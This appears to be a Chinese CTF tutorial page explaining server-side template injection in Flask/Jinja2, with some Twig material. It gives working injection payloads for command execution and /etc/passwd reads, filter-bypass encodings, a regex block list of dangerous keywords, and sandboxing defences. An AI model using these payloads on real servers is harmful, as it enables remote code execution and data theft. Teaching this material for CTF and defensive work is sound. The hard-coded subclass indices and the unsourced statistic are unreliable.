Hello-CTF SSTI模板注入:服务器端模板攻击

Hello-CTF SSTI模板注入:服务器端模板攻击

【免费下载链接】Hello-CTF 【Hello CTF】题目配套,免费开源的CTF入门教程,针对0基础新手编写,同时兼顾信息差的填补,对各阶段的CTFer都友好的开源教程,致力于CTF和网络安全的开源生态! 【免费下载链接】Hello-CTF 项目地址: https://gitcode.com/Probius/Hello-CTF

引言:当模板成为攻击向量

你是否曾经遇到过这样的情况:在一个Web应用中,你输入{{7*7}}后,页面竟然显示了49?这看似简单的数学运算背后,隐藏着一个严重的安全漏洞——SSTI(Server-Side Template Injection,服务器端模板注入)

SSTI是一种允许攻击者通过操纵模板表达式来执行任意代码的漏洞。与SQL注入类似,它利用的是应用程序对用户输入的不当处理,但攻击的目标从数据库转移到了服务器端的模板引擎。

据统计,在CTF比赛中,SSTI类题目占比约15%,是Web安全方向的重要考点之一。

模板引擎基础:动态内容的生成机制

什么是模板引擎?

模板引擎是一种将静态模板动态数据结合生成最终内容的系统。它的核心工作流程可以概括为:

mermaid

常见模板引擎及其语法

模板引擎语言变量语法控制结构语法
Jinja2Python{{ variable }}{% if condition %}
TwigPHP{{ variable }}{% if condition %}
SmartyPHP{$variable}{if $condition}
FreemarkerJava${variable}<#if condition>
VelocityJava$variable#if($condition)

SSTI漏洞的产生原因

SSTI漏洞通常源于开发者的错误认知:认为模板语法只在特定文件中有效。但实际上,当用户输入被直接拼接进模板时,攻击者就可以注入恶意模板代码。

漏洞代码示例:

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/vulnerable')
def vulnerable():
    name = request.args.get('name', 'Guest')
    # 危险:用户输入直接拼接到模板中
    template = f'<h1>Hello, {name}!</h1>'
    return render_template_string(template)

SSTI攻击原理深度解析

Python对象模型与魔术方法

理解SSTI攻击的前提是掌握Python的对象模型。在Python中,一切皆为对象,每个对象都有其类和继承关系。

classDiagram
    class object {
        +__class__
        +__base__
        +__bases__
        +__mro__
        +__subclasses__()
    }
    class str {
        +__class__
        +__base__
    }
    class list {
        +__class__
        +__base__
    }
    object <|-- str
    object <|-- list
关键魔术方法解析
  • __class__: 获取对象的类
  • __base__: 获取类的直接父类
  • __bases__: 获取类的所有父类(元组形式)
  • __mro__: 方法解析顺序,显示继承链
  • __subclasses__(): 获取类的所有子类
  • __init__: 类的初始化方法
  • __globals__: 获取函数的全局变量字典
  • __builtins__: 内建名称空间,包含所有内置函数

攻击链构建:从对象到命令执行

SSTI攻击的核心思路是通过对象链式调用,最终达到执行任意代码的目的。其攻击流程如下:

mermaid

实战演练:SSTI攻击全流程

环境搭建与靶场准备

为了演示SSTI攻击,我们使用一个简单的Flask应用作为靶场:

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', 'World')
    # 存在SSTI漏洞的代码
    template = f'''
    <!DOCTYPE html>
    <html>
    <head>
        <title>SSTI Demo</title>
    </head>
    <body>
        <h1>Hello, {name}!</h1>
        <p>Welcome to our vulnerable application.</p>
    </body>
    </html>
    '''
    return render_template_string(template)

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=5000)

第一步:检测SSTI漏洞

使用简单的数学运算测试是否存在SSTI:

GET /?name={{7*7}} HTTP/1.1
Host: localhost:5000

如果返回页面显示Hello, 49!而不是Hello, 7*7!,则确认存在SSTI漏洞。

第二步:识别模板引擎

不同模板引擎的语法略有差异,通过以下payload可以识别:

# Jinja2识别
{{''.__class__}}

# Twig识别
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

第三步:构建攻击链

方法一:基于字符串对象的攻击链
# 获取基类object
{{ ''.__class__.__base__ }}

# 获取所有子类
{{ ''.__class__.__base__.__subclasses__() }}

# 查找包含os模块的子类
{% for x in ''.__class__.__base__.__subclasses__() %}
    {% if x.__init__.__globals__ and 'os' in x.__init__.__globals__ %}
        {{ loop.index0 }}: {{ x.__name__ }}
    {% endif %}
{% endfor %}
方法二:通用自动化payload
# 自动化查找并执行命令
{% for x in [].__class__.__base__.__subclasses__() %}
    {% if x.__init__ is defined and x.__init__.__globals__ is defined %}
        {% if 'os' in x.__init__.__globals__ %}
            {{ x.__init__.__globals__['os'].popen('whoami').read() }}
        {% endif %}
    {% endif %}
{% endfor %}

第四步:命令执行与文件操作

执行系统命令
# 使用os模块执行命令
{{ ''.__class__.__base__.__subclasses__()[132].__init__.__globals__['os'].popen('ls /').read() }}

# 使用subprocess模块
{{ ''.__class__.__base__.__subclasses__()[258]('ls /', shell=True, stdout=-1).communicate()[0] }}

# 使用eval函数
{{ ''.__class__.__base__.__subclasses__()[194].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()') }}
文件读取操作
# 使用内置open函数
{{ ''.__class__.__base__.__subclasses__()[194].__init__.__globals__['__builtins__']['open']('/etc/passwd').read() }}

# 使用codecs模块
{{ ''.__class__.__base__.__subclasses__()[194].__init__.__globals__['__builtins__']['eval']("__import__('codecs').open('/etc/passwd').read()") }}

# 使用FileLoader(Python特有)
{{ ''.__class__.__base__.__subclasses__()[91]['get_data'](0, '/etc/passwd') }}

高级绕过技巧与防御规避

字符串拼接绕过过滤

当关键词被过滤时,可以使用字符串拼接:

# 原始payload
{{ ''.__class__.__base__.__subclasses__()[132].__init__.__globals__['os'].popen('ls').read() }}

# 字符串拼接绕过
{{ ''['__class__'] }}
{{ ''['__class__']['__base__'] }}
{{ ''['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['o'+'s']['popen']('ls')['read']() }}

十六进制/八进制编码

# 十六进制编码
{{ ''.__class__.__base__.__subclasses__()[0x84].__init__.__globals__['\x6f\x73'].popen('ls').read() }}

# 八进制编码
{{ ''.__class__.__base__.__subclasses__()[0204].__init__.__globals__['\157\163'].popen('ls').read() }}

使用attr过滤器(Jinja2特有)

# 使用attr过滤器访问属性
{{ ''|attr('__class__') }}
{{ ''|attr('__class__')|attr('__base__') }}
{{ ''|attr('__class__')|attr('__base__')|attr('__subclasses__')() }}

# 链式调用
{{ ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()[132]|attr('__init__')|attr('__globals__')['os']|attr('popen')('ls')|attr('read')() }}

防御措施与最佳实践

输入验证与过滤

import re
from flask import Flask, request, render_template_string

app = Flask(__name__)

def safe_template(template_str):
    # 过滤危险的模板语法
    dangerous_patterns = [
        r'__class__', r'__base__', r'__bases__', r'__mro__',
        r'__subclasses__', r'__init__', r'__globals__', r'__builtins__',
        r'os\.', r'subprocess\.', r'popen', r'system', r'eval', r'exec'
    ]
    
    for pattern in dangerous_patterns:
        if re.search(pattern, template_str, re.IGNORECASE):
            raise ValueError(f"检测到危险模式: {pattern}")
    
    return template_str

@app.route('/safe')
def safe_endpoint():
    name = request.args.get('name', 'World')
    try:
        safe_name = safe_template(name)
        template = f'<h1>Hello, {safe_name}!</h1>'
        return render_template_string(template)
    except ValueError as e:
        return f"输入包含危险内容: {str(e)}", 400

使用安全的模板渲染方式

# 不安全的方式:字符串拼接
template = f'<h1>Hello, {name}!</h1>'

# 安全的方式:使用模板参数
template = '<h1>Hello, {{ name }}!</h1>'
return render_template_string(template, name=name)

上下文隔离与沙箱环境

对于需要动态模板功能的场景,应该使用沙箱环境:

from jinja2.sandbox import SandboxedEnvironment

def render_safe_template(template_str, **context):
    env = SandboxedEnvironment()
    try:
        template = env.from_string(template_str)
        return template.render(**context)
    except Exception as e:
        return f"模板渲染错误: {str(e)}"

【免费下载链接】Hello-CTF 【Hello CTF】题目配套,免费开源的CTF入门教程,针对0基础新手编写,同时兼顾信息差的填补,对各阶段的CTFer都友好的开源教程,致力于CTF和网络安全的开源生态! 【免费下载链接】Hello-CTF 项目地址: https://gitcode.com/Probius/Hello-CTF

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值